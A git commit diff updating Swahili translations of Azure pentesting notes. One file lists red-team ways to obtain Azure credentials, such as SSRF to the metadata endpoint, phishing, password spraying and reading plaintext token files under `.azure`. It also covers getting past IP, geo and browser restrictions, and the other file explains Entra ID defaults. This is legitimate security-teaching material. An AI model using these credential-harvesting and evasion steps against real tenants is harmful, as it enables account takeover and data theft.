Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

This commit is contained in:
Translator
2025-01-02 01:22:11 +00:00
parent 5a62f6b0a3
commit b43d62ebcb
237 changed files with 2953 additions and 2957 deletions

View File

@@ -12,40 +12,40 @@ az-basic-information/
Ili kukagua mazingira ya AZURE ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinachoweza **kuonyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za Azure na **huduma za nje** zinavyounganishwa.
Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya Azure** ni kupata **akikazi** za Azure AD. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo:
Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya Azure** ni kupata **akidi** za Azure AD. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo:
- **Mvujo** katika github (au sawa) - OSINT
- **Uhandisi** wa Kijamii
- **Tumia tena** nywila (mvujo wa nywila)
- Uthibitisho katika Maombi ya Azure-Hosted
- Uthibitisho katika Programu za Azure-Hosted
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) yenye ufikiaji wa metadata endpoint
- **Kusoma Faili za Mitaa**
- **Soma Faili za Mitaa**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
- Faili **`accessTokens.json`** katika `az cli` kabla ya 2.30 - Jan2022 - ilihifadhi **tokens za ufikiaji kwa maandiko wazi**
- Faili **`azureProfile.json`** ina **habari** kuhusu mtumiaji aliyeingia.
- **`az logout`** inafuta token.
- Matoleo ya zamani ya **`Az PowerShell`** yalihifadhi **tokens za ufikiaji** kwa **maandiko** wazi katika **`TokenCache.dat`**. Pia inahifadhi **ServicePrincipalSecret** kwa **maandiko** wazi katika **`AzureRmContext.json`**. Cmdlet **`Save-AzContext`** inaweza kutumika kuhifadhi **tokens**.\
- Matoleo ya zamani ya **`Az PowerShell`** yalihifadhi **tokens za ufikiaji** kwa **maandiko wazi** katika **`TokenCache.dat`**. Pia inahifadhi **ServicePrincipalSecret** kwa **maandiko wazi** katika **`AzureRmContext.json`**. Cmdlet **`Save-AzContext`** inaweza kutumika kuhifadhi **tokens**.\
Tumia `Disconnect-AzAccount` kuondoa hizo.
- Watu wa 3rd **walivunja**
- **Mfanyakazi** wa Ndani
- [**Phishing ya Kawaida**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (akikazi au Oauth App)
- [Phishing ya Uthibitisho wa Kifaa](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [**Uvuvi wa Kawaida**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (akidi au Oauth App)
- [Uvuvi wa Uthibitisho wa Nambari ya Kifaa](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
Hata kama huja **athiri mtumiaji yeyote** ndani ya tenant ya Azure unayoishambulia, unaweza **kusanya habari** kutoka kwake:
Hata kama huja **athiri mtumiaji yeyote** ndani ya tenant ya Azure unayoishambulia, unaweza **kusanya habari fulani** kutoka kwake:
{{#ref}}
az-unauthenticated-enum-and-initial-entry/
{{#endref}}
> [!NOTE]
> Baada ya kufanikiwa kupata akiba, unahitaji kujua **ni nani anayemiliki hizo akiba**, na **nini wana ufikiaji**, hivyo unahitaji kufanya uhesabu wa msingi:
> Baada ya kufanikiwa kupata akidi, unahitaji kujua **ni nani akidi hizo zinamilikiwa**, na **nini wana ufikiaji nacho**, hivyo unahitaji kufanya uainishaji wa msingi:
## Basic Enumeration
> [!NOTE]
> Kumbuka kwamba sehemu ya **sauti kubwa** ya uhesabu ni **kuingia**, si uhesabu yenyewe.
> Kumbuka kwamba sehemu ya **kelele** zaidi ya uainishaji ni **kuingia**, si uainishaji wenyewe.
### SSRF
@@ -59,14 +59,14 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
<figure><img src="../../images/image (268).png" alt=""><figcaption></figcaption></figure>
Katika hali ambapo una akiba halali lakini huwezi kuingia, hizi ni baadhi ya ulinzi wa kawaida ambao unaweza kuwepo:
Katika hali ambapo una akidi halali lakini huwezi kuingia, hizi ni baadhi ya ulinzi wa kawaida ambao unaweza kuwepo:
- **IP whitelisting** -- Unahitaji kuathiri IP halali
- **Geo restrictions** -- Tafuta mahali mtumiaji anaishi au ofisi za kampuni na pata IP kutoka jiji moja (au nchi angalau)
- **Geo restrictions** -- Pata mahali mtumiaji anaishi au ofisi za kampuni na pata IP kutoka jiji moja (au nchi angalau)
- **Browser** -- Labda ni kivinjari tu kutoka OS fulani (Windows, Linux, Mac, Android, iOS) kinachoruhusiwa. Jua ni OS ipi mwathirika/kampuni inatumia.
- Unaweza pia kujaribu **kuathiri akiba za Service Principal** kwani kawaida huwa na mipaka kidogo na kuingia kwake hakuchunguzwi sana
- Unaweza pia kujaribu **kuathiri akidi za Service Principal** kwani kawaida huwa na mipaka kidogo na kuingia kwake hakuchunguzwi sana
Baada ya kuipita, unaweza kuwa na uwezo wa kurudi kwenye mipangilio yako ya awali na bado utakuwa na ufikiaji.
Baada ya kuweza kuondoa hiyo, unaweza kurudi kwenye mipangilio yako ya awali na bado utakuwa na ufikiaji.
### Subdomain Takeover
@@ -122,11 +122,11 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
> [!CAUTION]
> Moja ya amri muhimu zaidi za kuhesabu Azure ni **`Get-AzResource`** kutoka Az PowerShell kwani inakuwezesha **kujua rasilimali ambazo mtumiaji wako wa sasa anaweza kuona**.
>
> Unaweza kupata taarifa sawa katika **konsoli ya wavuti** ukitembelea [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) au kutafuta "All resources"
> Unaweza kupata taarifa sawa katika **konsoli ya wavuti** kwa kutembelea [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) au kutafuta "All resources"
### ENtra ID Enumeration
Kwa kawaida, mtumiaji yeyote anapaswa kuwa na **idhini ya kutosha kuhesabu** mambo kama vile, watumiaji, vikundi, majukumu, wahusika wa huduma... (angalia [idhini za AzureAD za kawaida](az-basic-information/#default-user-permissions)).\
Kwa kawaida, mtumiaji yeyote anapaswa kuwa na **idhini ya kutosha kuhesabu** mambo kama vile, watumiaji, vikundi, majukumu, wahusika wa huduma... (angalia [default AzureAD permissions](az-basic-information/#default-user-permissions)).\
Unaweza kupata hapa mwongozo:
{{#ref}}
@@ -134,7 +134,7 @@ az-services/az-azuread.md
{{#endref}}
> [!NOTE]
> Sasa kwamba una **taarifa fulani kuhusu akreditivu zako** (na ikiwa wewe ni timu nyekundu matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinatumika katika mazingira.\
> Sasa kwamba una **taarifa fulani kuhusu hati zako** (na ikiwa wewe ni timu nyekundu matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinatumika katika mazingira.\
> Katika sehemu ifuatayo unaweza kuangalia njia kadhaa za **kuhesabu huduma za kawaida.**
## App Service SCM
@@ -147,7 +147,7 @@ Tumia portal.azure.com na uchague shell, au tumia shell.azure.com, kwa bash au p
## Azure DevOps
Azure DevOps ni tofauti na Azure. Ina hazina, mipangilio (yaml au toleo), bodi, wiki, na zaidi. Makundi ya Vigezo yanatumika kuhifadhi thamani za vigezo na siri.
Azure DevOps ni tofauti na Azure. Ina hazina, mipango (yaml au toleo), bodi, wiki, na zaidi. Makundi ya Vigezo yanatumika kuhifadhi thamani za vigezo na siri.
## Debug | MitM az cli
@@ -183,7 +183,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
{{#endtab }}
{{#endtabs }}
## Zana za Upelelezi za Kiotomatiki
## Zana za Kutafuta Kiotomatiki
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell

View File

@@ -6,29 +6,29 @@
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUcVrh1BpuQXN7RzGqoxrn-4Nm_sjdJU-dDTvshloB7UMQnN1mtH9N94zNiPCzOYAqE9EsJqlboZOj47tQsQktjxszpKvIDPZLs9rgyiObcZCvl7N0ZWztshR0ZddyBYZIAwPIkrEQ=s2048?key=l3Eei079oPmVJuh8lxQYxxrB" alt=""><figcaption><p><a href="https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png">https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png</a></p></figcaption></figure>
### Vikundi vya Usimamizi
### Makundi ya Usimamizi
- Inaweza kuwa na **vikundi vingine vya usimamizi au usajili**.
- Inaweza kuwa na **makundi mengine ya usimamizi au usajili**.
- Hii inaruhusu **kutekeleza udhibiti wa utawala** kama vile RBAC na Sera za Azure mara moja kwenye kiwango cha kundi la usimamizi na kuwa **na urithi** na usajili wote ndani ya kundi.
- **Vikundi 10,000 vya usimamizi** vinaweza kuungwa mkono katika directory moja.
- **Makundi 10,000 ya usimamizi** yanaweza kuungwa mkono katika directory moja.
- Mti wa kundi la usimamizi unaweza kuunga mkono **hadi viwango sita vya kina**. Kiwango hiki hakijumuishi kiwango cha mzizi au kiwango cha usajili.
- Kila kundi la usimamizi na usajili linaweza kuunga mkono **mzazi mmoja tu**.
- Hata kama vikundi vingi vya usimamizi vinaweza kuundwa **kuna kundi moja la usimamizi la mzizi tu**.
- Kundi la usimamizi la mzizi **linashikilia** **vikundi vingine vya usimamizi na usajili** na **halitaweza kuhamishwa au kufutwa**.
- Usajili wote ndani ya kundi moja la usimamizi lazima uamini **tenant ya Entra ID sawa**.
- Hata kama makundi kadhaa ya usimamizi yanaweza kuundwa **kuna kundi moja tu la usimamizi la mzizi**.
- Kundi la usimamizi la mzizi **linashikilia** makundi yote **mengine ya usimamizi na usajili** na **halitaweza kuhamishwa au kufutwa**.
- Usajili wote ndani ya kundi moja la usimamizi lazima uamini **tenant moja ya Entra ID.**
<figure><img src="../../../images/image (147).png" alt=""><figcaption><p><a href="https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png">https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png</a></p></figcaption></figure>
### Usajili wa Azure
- Ni **konteina nyingine ya kimantiki ambapo rasilimali** (VMs, DBs…) zinaweza kuendeshwa na zitalipiwa.
- Ni **kikundi kingine cha mantiki ambacho rasilimali** (VMs, DBs…) zinaweza kuendeshwa na zitalipiwa.
- **Mzazi** wake daima ni **kundi la usimamizi** (na inaweza kuwa kundi la usimamizi la mzizi) kwani usajili hauwezi kuwa na usajili mwingine.
- Ina **aminika tu na directory moja ya Entra ID**
- **Ruhusa** zilizotumika kwenye kiwango cha usajili (au yoyote ya wazazi wake) zina **urithi** kwa rasilimali zote ndani ya usajili
### Vikundi vya Rasilimali
### Makundi ya Rasilimali
[Kutoka kwenye hati:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Kundi la rasilimali ni **konteina** inayoshikilia **rasilimali zinazohusiana** kwa suluhisho la Azure. Kundi la rasilimali linaweza kujumuisha rasilimali zote za suluhisho, au zile tu **rasilimali ambazo unataka kusimamia kama kundi**. Kwa ujumla, ongeza **rasilimali** zinazoshiriki **mzunguko sawa** kwenye kundi moja la rasilimali ili uweze kupeleka, kusasisha, na kufuta kwa urahisi kama kundi.
[Kutoka kwenye hati:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Kundi la rasilimali ni **kikundi** kinachoshikilia **rasilimali zinazohusiana** kwa suluhisho la Azure. Kundi la rasilimali linaweza kujumuisha rasilimali zote za suluhisho, au zile tu **rasilimali ambazo unataka kusimamia kama kundi**. Kwa ujumla, ongeza **rasilimali** zinazoshiriki **mzunguko sawa** kwenye kundi moja la rasilimali ili uweze kupeleka, kusasisha, na kufuta kwa urahisi kama kundi.
Rasilimali zote lazima ziwe **ndani ya kundi la rasilimali** na zinaweza kumilikiwa tu na kundi moja na ikiwa kundi la rasilimali litafutwa, rasilimali zote ndani yake pia zitafutwa.
@@ -36,13 +36,13 @@ Rasilimali zote lazima ziwe **ndani ya kundi la rasilimali** na zinaweza kumilik
### Vitambulisho vya Rasilimali za Azure
Kila rasilimali katika Azure ina Vitambulisho vya Rasilimali za Azure vinavyoiainisha.
Kila rasilimali katika Azure ina Vitambulisho vya Rasilimali za Azure ambavyo vinaitambulisha.
Muundo wa Vitambulisho vya Rasilimali za Azure ni kama ifuatavyo:
- `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`
Kwa mashine ya virtual inayoitwa myVM katika kundi la rasilimali `myResourceGroup` chini ya kitambulisho cha usajili `12345678-1234-1234-1234-123456789012`, Vitambulisho vya Rasilimali za Azure vinaonekana kama ifuatavyo:
Kwa mashine ya virtual inayoitwa myVM katika kundi la rasilimali `myResourceGroup` chini ya ID ya usajili `12345678-1234-1234-1234-123456789012`, Vitambulisho vya Rasilimali za Azure vinaonekana kama ifuatavyo:
- `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
@@ -50,11 +50,11 @@ Kwa mashine ya virtual inayoitwa myVM katika kundi la rasilimali `myResourceGrou
### Azure
Azure ni jukwaa la **kumbukumbu la kompyuta la Microsoft, linalotoa huduma mbalimbali**, ikiwa ni pamoja na mashine za virtual, hifadhidata, akili bandia, na uhifadhi. Inafanya kazi kama msingi wa kuendesha na kusimamia programu, kujenga miundombinu inayoweza kupanuka, na kuendesha kazi za kisasa katika wingu. Azure inatoa zana kwa wabunifu na wataalamu wa IT kuunda, kupeleka, na kusimamia programu na huduma kwa urahisi, ikihudumia mahitaji mbalimbali kutoka kwa makampuni ya kuanzishwa hadi makampuni makubwa.
Azure ni jukwaa la **kumbukumbu la kompyuta la Microsoft, linalotoa huduma mbalimbali**, ikiwa ni pamoja na mashine za virtual, hifadhidata, akili bandia, na uhifadhi. Inafanya kazi kama msingi wa kuendesha na kusimamia programu, kujenga miundombinu inayoweza kupanuka, na kuendesha kazi za kisasa katika wingu. Azure inatoa zana kwa waendelezaji na wataalamu wa IT kuunda, kupeleka, na kusimamia programu na huduma kwa urahisi, ikihudumia mahitaji mbalimbali kutoka kwa biashara za kuanzishwa hadi makampuni makubwa.
### Entra ID (zamani Azure Active Directory)
Entra ID ni huduma ya **usimamizi wa utambulisho na ufikiaji** inayotegemea wingu iliyoundwa kushughulikia uthibitishaji, idhini, na udhibiti wa ufikiaji wa mtumiaji. Inatoa ufikiaji salama kwa huduma za Microsoft kama vile Office 365, Azure, na programu nyingi za SaaS za wahusika wengine. Ikiwa na vipengele kama vile kuingia mara moja (SSO), uthibitishaji wa hatua nyingi (MFA), na sera za ufikiaji wa masharti miongoni mwa zingine.
Entra ID ni huduma ya **utambulisho na usimamizi wa ufikiaji** inayotegemea wingu iliyoundwa kushughulikia uthibitishaji, idhini, na udhibiti wa ufikiaji wa mtumiaji. Inatoa ufikiaji salama kwa huduma za Microsoft kama vile Office 365, Azure, na programu nyingi za SaaS za wahusika wengine. Ikiwa na vipengele kama vile uthibitishaji wa moja kwa moja (SSO), uthibitishaji wa hatua nyingi (MFA), na sera za ufikiaji wa masharti miongoni mwa zingine.
### Huduma za Kikoa za Entra (zamani Azure AD DS)
@@ -79,50 +79,50 @@ Huduma za Kikoa za Entra zinaongeza uwezo wa Entra ID kwa kutoa **huduma za kiko
Unaweza kuangalia katika [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) lakini kati ya vitendo vingine mwanachama ataweza:
- Kusoma watumiaji wote, Vikundi, Programu, Vifaa, Majukumu, Usajili, na mali zao za umma
- Kusoma watumiaji wote, Makundi, Programu, Vifaa, Majukumu, Usajili, na mali zao za umma
- Kualika Wageni (_inaweza kuzuiwa_)
- Kuunda vikundi vya Usalama
- Kuunda makundi ya Usalama
- Kusoma uanachama wa Kundi usiofichwa
- Kuongeza wageni kwenye vikundi vilivyo na umiliki
- Kuongeza wageni kwenye makundi yaliyomilikiwa
- Kuunda programu mpya (_inaweza kuzuiwa_)
- Kuongeza vifaa hadi 50 kwenye Azure (_inaweza kuzuiwa_)
> [!NOTE]
> Kumbuka kwamba ili kuhesabu rasilimali za Azure mtumiaji anahitaji kibali maalum cha ruhusa.
### Ruhusa za Kawaida za Watumiaji
### Ruhusa za Kawaida za Watumiaji Zinazoweza Kubadilishwa
- **Wanachama (**[**hati**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
- Register Programu: Kawaida **Ndio**
- Zuia watumiaji wasio wasimamizi kuunda tenants: Kawaida **Hapana**
- Kuunda vikundi vya usalama: Kawaida **Ndio**
- Zuia ufikiaji wa lango la usimamizi la Microsoft Entra: Kawaida **Hapana**
- Jisajili Programu: Kawaida **Ndio**
- Zuiya watumiaji wasio wasimamizi kuunda tenants: Kawaida **Hapana**
- Kuunda makundi ya usalama: Kawaida **Ndio**
- Zuiya ufikiaji wa lango la usimamizi la Microsoft Entra: Kawaida **Hapana**
- Hii haisimamii ufikiaji wa API kwa lango (tu wavuti)
- Ruhusu watumiaji kuunganisha akaunti za kazi au shule na LinkedIn: Kawaida **Ndio**
- Onyesha kuweka mtumiaji alisainiwa: Kawaida **Ndio**
- Zuia watumiaji kutoka kupona funguo za BitLocker kwa vifaa vyao vilivyo na umiliki: Kawaida Hapana (angalia kwenye Mipangilio ya Kifaa)
- Zuiya watumiaji kutoka kupona funguo za BitLocker kwa vifaa vyao vilivyomilikiwa: Kawaida Hapana (angalia kwenye Mipangilio ya Kifaa)
- Kusoma watumiaji wengine: Kawaida **Ndio** (kupitia Microsoft Graph)
- **Wageni**
- **Vikwazo vya ufikiaji wa mtumiaji mgeni**
- **Watumiaji wageni wana ufikiaji sawa na wanachama** inatoa ruhusa zote za mtumiaji mwanachama kwa watumiaji wageni kwa default.
- **Watumiaji wageni wana ufikiaji mdogo kwa mali na uanachama wa vitu vya directory (kawaida)** inazuia ufikiaji wa wageni kwa wasifu wao wenyewe wa mtumiaji kwa default. Ufikiaji wa watumiaji wengine na taarifa za kundi haukubaliwi tena.
- **Ufikiaji wa mtumiaji mgeni unazuiwa kwa mali na uanachama wa vitu vyao vya directory** ni wa kikomo zaidi.
- **Wageni wa mgeni wana ufikiaji sawa na wanachama** inatoa ruhusa zote za mtumiaji wa mwanachama kwa wageni kwa default.
- **Wageni wa mgeni wana ufikiaji mdogo kwa mali na uanachama wa vitu vya directory (kawaida)** inazuiya ufikiaji wa wageni kwa wasifu wao wenyewe wa mtumiaji kwa default. Ufikiaji wa watumiaji wengine na taarifa za kundi haukubaliki tena.
- **Ufikiaji wa mtumiaji mgeni unazuiwa kwa mali na uanachama wa vitu vya directory vyao wenyewe** ndio wa kukandamiza zaidi.
- **Wageni wanaweza kuwalika**
- **Mtu yeyote katika shirika anaweza kuwalika watumiaji wageni ikiwa ni pamoja na wageni na wasimamizi (inayoeleweka zaidi) - Kawaida**
- **Watumiaji wanachama na watumiaji waliotolewa majukumu maalum ya usimamizi wanaweza kuwalika watumiaji wageni ikiwa ni pamoja na wageni wenye ruhusa za mwanachama**
- **Ni watumiaji pekee waliotolewa majukumu maalum ya usimamizi wanaweza kuwalika watumiaji wageni**
- **Hakuna mtu katika shirika anaweza kuwalika watumiaji wageni ikiwa ni pamoja na wasimamizi (inayoeleweka zaidi)**
- **Mtu yeyote katika shirika anaweza kuwalika wageni ikiwa ni pamoja na wageni na wasimamizi wasio wa kawaida (inayoingiza zaidi) - Kawaida**
- **Watumiaji wa wanachama na watumiaji waliotolewa majukumu maalum ya usimamizi wanaweza kuwalika wageni ikiwa ni pamoja na wageni wenye ruhusa za mwanachama**
- **Ni watumiaji pekee waliotolewa majukumu maalum ya usimamizi wanaweza kuwalika wageni**
- **Hakuna mtu katika shirika anaweza kuwalika wageni ikiwa ni pamoja na wasimamizi (inayoingiza zaidi)**
- **Mtumiaji wa nje aondoke**: Kawaida **Kweli**
- Ruhusu watumiaji wa nje kuondoka katika shirika
> [!TIP]
> Hata kama imezuiwa kwa kawaida, watumiaji (wanachama na wageni) wenye ruhusa zilizotolewa wanaweza kufanya vitendo vya awali.
> Hata kama zimezuiwa kwa default, watumiaji (wanachama na wageni) wenye ruhusa zilizotolewa wanaweza kufanya vitendo vya awali.
### **Vikundi**
### **Makundi**
Kuna **aina 2 za vikundi**:
Kuna **aina 2 za makundi**:
- **Usalama**: Aina hii ya kundi inatumika kutoa wanachama ufikiaji wa programu, rasilimali na kupewa leseni. Watumiaji, vifaa, wakala wa huduma na vikundi vingine vinaweza kuwa wanachama.
- **Usalama**: Aina hii ya kundi inatumika kutoa wanachama ufikiaji wa programu, rasilimali na kupeana leseni. Watumiaji, vifaa, wakala wa huduma na makundi mengine wanaweza kuwa wanachama.
- **Microsoft 365**: Aina hii ya kundi inatumika kwa ushirikiano, ikitoa wanachama ufikiaji wa sanduku la barua lililotolewa, kalenda, faili, tovuti ya SharePoint, na kadhalika. Wanachama wa kundi wanaweza kuwa watumiaji pekee.
- Hii itakuwa na **anwani ya barua pepe** yenye kikoa cha tenant ya EntraID.
@@ -133,36 +133,36 @@ Kuna **aina 2 za uanachama**:
### **Wakala wa Huduma**
**Wakala wa Huduma** ni **utambulisho** ulioanzishwa kwa **matumizi** na **programu**, huduma zinazohudumiwa, na zana za kiotomatiki kufikia rasilimali za Azure. Ufikiaji huu ume **zuiwa na majukumu yaliyotolewa** kwa wakala wa huduma, na kukupa udhibiti juu ya **rasilimali zipi zinaweza kufikiwa** na kwa kiwango gani. Kwa sababu za usalama, kila wakati inapendekezwa **kutumia wakala wa huduma na zana za kiotomatiki** badala ya kuruhusu kuingia kwa utambulisho wa mtumiaji.
**Wakala wa Huduma** ni **utambulisho** ulioanzishwa kwa **matumizi** na **programu**, huduma zinazohudumiwa, na zana za kiotomatiki kupata rasilimali za Azure. Ufikiaji huu ume **zuiwa na majukumu yaliyotolewa** kwa wakala wa huduma, na kukupa udhibiti juu ya **rasilimali zipi zinaweza kufikiwa** na kwa kiwango gani. Kwa sababu za usalama, kila wakati inapendekezwa **kutumia wakala wa huduma na zana za kiotomatiki** badala ya kuruhusu kuingia kwa utambulisho wa mtumiaji.
Inawezekana **kuingia moja kwa moja kama wakala wa huduma** kwa kuunda **siri** (nenosiri), **cheti**, au kutoa **ufikiaji wa shirikisho** kwa majukwaa ya wahusika wengine (kwa mfano, Github Actions) juu yake.
- Ikiwa unachagua uthibitishaji wa **nenosiri** (kwa kawaida), **hifadhi nenosiri lililotolewa** kwani huwezi kulifikia tena.
- Ikiwa unachagua uthibitishaji wa **nenosiri** (kwa default), **hifadhi nenosiri lililotengenezwa** kwani huwezi kulifikia tena.
- Ikiwa unachagua uthibitishaji wa cheti, hakikisha **programu itakuwa na ufikiaji wa funguo za faragha**.
### Usajili wa Programu
Usajili wa **Programu** ni usanidi unaoruhusu programu kuungana na Entra ID na kufanya vitendo.
**Usajili wa Programu** ni usanidi unaoruhusu programu kuungana na Entra ID na kufanya vitendo.
#### Vipengele Muhimu:
1. **Kitambulisho cha Programu (Kitambulisho cha Mteja):** Kitambulisho cha kipekee kwa programu yako katika Azure AD.
2. **URIs za Kurudisha:** URL ambapo Azure AD inatuma majibu ya uthibitishaji.
3. **Cheti, Siri & Ruhusa za Shirikisho:** Inawezekana kuunda siri au cheti kuingia kama wakala wa huduma wa programu, au kutoa ufikiaji wa shirikisho kwake (kwa mfano, Github Actions).&#x20;
1. Ikiwa **cheti** au **siri** imeundwa, mtu anaweza **kuingia kama wakala wa huduma** kwa kutumia zana za CLI kwa kujua **kitambulisho cha programu**, **siri** au **cheti** na **tenant** (kikoa au ID).
3. **Vyeti, Siri & Ruhusa za Shirikisho:** Inawezekana kuunda siri au cheti kuingia kama wakala wa huduma wa programu, au kutoa ufikiaji wa shirikisho kwake (kwa mfano, Github Actions).&#x20;
1. Ikiwa **cheti** au **siri** inaundwa, inawezekana kwa mtu **kuingia kama wakala wa huduma** kwa kutumia zana za CLI kwa kujua **kitambulisho cha programu**, **siri** au **cheti** na **tenant** (kikoa au ID).
4. **Ruhusa za API:** Inabainisha rasilimali au API zipi programu inaweza kufikia.
5. **Mipangilio ya Uthibitishaji:** Inafafanua mchakato wa uthibitishaji unaounga mkono programu (kwa mfano, OAuth2, OpenID Connect).
6. **Wakala wa Huduma**: Wakala wa huduma huundwa wakati programu inaundwa (ikiwa inafanywa kutoka kwenye konsole ya wavuti) au wakati inasakinishwa katika tenant mpya.
1. **Wakala wa huduma** utapata ruhusa zote zilizohitajika alizopangwa nazo.
5. **Mipangilio ya Uthibitishaji:** Inafafanua mchakato wa uthibitishaji unaounga mkono wa programu (kwa mfano, OAuth2, OpenID Connect).
6. **Wakala wa Huduma**: Wakala wa huduma huundwa wakati Programu inaundwa (ikiwa inafanywa kutoka kwenye konsole ya wavuti) au wakati inasakinishwa katika tenant mpya.
1. **Wakala wa huduma** utapata ruhusa zote zilizotolewa ambazo umeziunda.
### Ruhusa za Kawaida za Kukubali
### Ruhusa za Kibali za Kawaida
**Ruhusa za mtumiaji kwa programu**
- **Usiruhusu ruhusa za mtumiaji**
- Msimamizi atahitajika kwa programu zote.
- **Ruhusu ruhusa za mtumiaji kwa programu kutoka kwa wachapishaji waliothibitishwa, kwa ruhusa zilizochaguliwa (Inapendekezwa)**
- Watumiaji wote wanaweza kukubali ruhusa zilizopangwa kama "athari ndogo", kwa programu kutoka kwa wachapishaji waliothibitishwa au programu zilizoorodheshwa katika shirika hili.
- Watumiaji wote wanaweza kutoa ruhusa kwa ruhusa zinazohesabiwa kama "athari ndogo", kwa programu kutoka kwa wachapishaji waliothibitishwa au programu zilizojisajili katika shirika hili.
- **Kawaida** ruhusa za athari ndogo (ingawa unahitaji kukubali kuziongeza kama ndogo):
- User.Read - ingia na kusoma wasifu wa mtumiaji
- offline_access - kudumisha ufikiaji wa data ambayo watumiaji wameipa ufikiaji
@@ -170,30 +170,30 @@ Usajili wa **Programu** ni usanidi unaoruhusu programu kuungana na Entra ID na k
- profile - ona wasifu wa msingi wa mtumiaji
- email - ona anwani ya barua pepe ya mtumiaji
- **Ruhusu ruhusa za mtumiaji kwa programu (Kawaida)**
- Watumiaji wote wanaweza kukubali kwa programu yoyote kufikia data za shirika.
- Watumiaji wote wanaweza kutoa ruhusa kwa programu yoyote kufikia data ya shirika.
**Maombi ya ruhusa za msimamizi**: Kawaida **Hapana**
- Watumiaji wanaweza kuomba ruhusa za msimamizi kwa programu ambazo hawawezi kukubali
- Ikiwa **Ndio**: Inawezekana kuonyesha Watumiaji, Vikundi na Majukumu ambayo yanaweza kukubali maombi
- Sanidi pia ikiwa watumiaji watapokea arifa za barua pepe na ukumbusho wa muda wa mwisho&#x20;
- Watumiaji wanaweza kuomba ruhusa za msimamizi kwa programu ambazo hawawezi kutoa ruhusa
- Ikiwa **Ndio**: Inawezekana kuonyesha Watumiaji, Makundi na Majukumu ambayo yanaweza kutoa maombi
- Sanidi pia ikiwa watumiaji watapata arifa za barua pepe na ukumbusho wa muda wa mwisho&#x20;
### **Utambulisho wa Kusimamiwa (Metadata)**
Utambulisho wa kusimamiwa katika Azure Active Directory unatoa suluhisho la **kusimamia kiotomatiki utambulisho** wa programu. Utambulisho huu unatumika na programu kwa lengo la **kuunganisha** na **rasilimali** zinazofaa na uthibitishaji wa Azure Active Directory (**Azure AD**). Hii inaruhusu **kuondoa hitaji la kuweka akiba ya akidi za wingu** katika msimbo kwani programu itakuwa na uwezo wa kuwasiliana na huduma ya **metadata** ili kupata token halali ya **kufanya vitendo** kama utambulisho wa kusimamiwa ulioonyeshwa katika Azure.
Utambulisho wa kusimamiwa katika Azure Active Directory unatoa suluhisho la **kusimamia kiotomatiki utambulisho** wa programu. Utambulisho huu unatumika na programu kwa lengo la **kuunganisha** na **rasilimali** zinazofaa na uthibitishaji wa Azure Active Directory (**Azure AD**). Hii inaruhusu **kuondoa hitaji la kuweka akiba ya akiba ya wingu** katika msimbo kwani programu itakuwa na uwezo wa kuwasiliana na huduma ya **metadata** ili kupata token halali ya **kufanya vitendo** kama utambulisho wa kusimamiwa ulioonyeshwa katika Azure.
Kuna aina mbili za utambulisho wa kusimamiwa:
- **Iliyotolewa na mfumo**. Huduma zingine za Azure zinakuruhusu **kuwezesha utambulisho wa kusimamiwa moja kwa moja kwenye mfano wa huduma**. Unapowezesha utambulisho wa kusimamiwa wa mfumo, **wakala wa huduma** huundwa katika tenant ya Entra ID inayotegemewa na usajili ambapo rasilimali iko. Wakati **rasilimali** inafutwa, Azure kiotomatiki **inafuta** **utambulisho** kwa ajili yako.
- **Iliyotolewa na mtumiaji**. Pia inawezekana kwa watumiaji kuunda utambulisho wa kusimamiwa. Hizi huundwa ndani ya kundi la rasilimali ndani ya usajili na wakala wa huduma utaanzishwa katika EntraID inayotegemewa na usajili. Kisha, unaweza kupeana utambulisho wa kusimamiwa kwa mfano mmoja au **zaidi** ya huduma ya Azure (rasilimali nyingi). Kwa utambulisho wa kusimamiwa wa mtumiaji, **utambulisho unasimamiwa tofauti na rasilimali zinazoutumia**.
